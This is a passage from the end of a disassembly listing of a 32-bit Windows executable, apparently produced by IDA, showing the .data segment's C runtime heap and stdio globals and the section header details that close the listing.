0 dd 83000000h, 0 dd 9A0000h, 9E009Ch, 2 dup(0) dd 8A0000h, 0FF8E008Ch, 2 dup(0) dd 0AA0000h, 2 dup(0) dd 0B500h, 0BA0000h, 0 dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h dd 9FDEDDDCh dword_40BC60 dd 20h dd 7 dup(0) dword_40BC80 dd 320650h ; ___initstdio+7Br ... dword_40BC84 dd 3Fh dup(0) dword_40BD80 dd 1 ; __setenvp+9Fw ... dword_40BD84 dd 322DB4h ; _doexit:loc_40447Fr ... ; void *dword_40BD88 dword_40BD88 dd 322DB8h dword_40BD8C dd 1 ; __setenvp+3r ... dword_40BD90 dd 0 dword_40BD94 dd 3225B0h ; ___initstdio+44w ... align 10h dword_40BDA0 dd 400h dup(0) ; .data:0040B070o ; size_t dword_40CDA0 dword_40CDA0 dd 200h ; ___initstdio:loc_403CAEw ... align 8 ; void *dword_40CDA8 dword_40CDA8 dd 0 ; ___sbh_free_block+21Cr ... dword_40CDAC dd 0 ; .text:00402346r ... dword_40CDB0 dd 0 ; .text:loc_402350r ... dword_40CDB4 dd 0 ; __get_sbh_threshold+Er ... dword_40CDB8 dd 0 ; ___sbh_free_block+300w ... dword_40CDBC dd 0 ; ___sbh_alloc_new_region+5r ... dword_40CDC0 dd 0 ; ___sbh_free_block+249r ... dword_40CDC4 dd 320000h ; __heap_init+19w ... dword_40CDC8 dd 1 ; __heap_alloc:loc_401C23r ... dword_40CDCC dd 142340h ; __wincmdln:loc_404E1Er ... _data ends ; Section 4. (virtual address 0000D000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 0000CE00 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 40D000h align 2000h _idata2 ends end start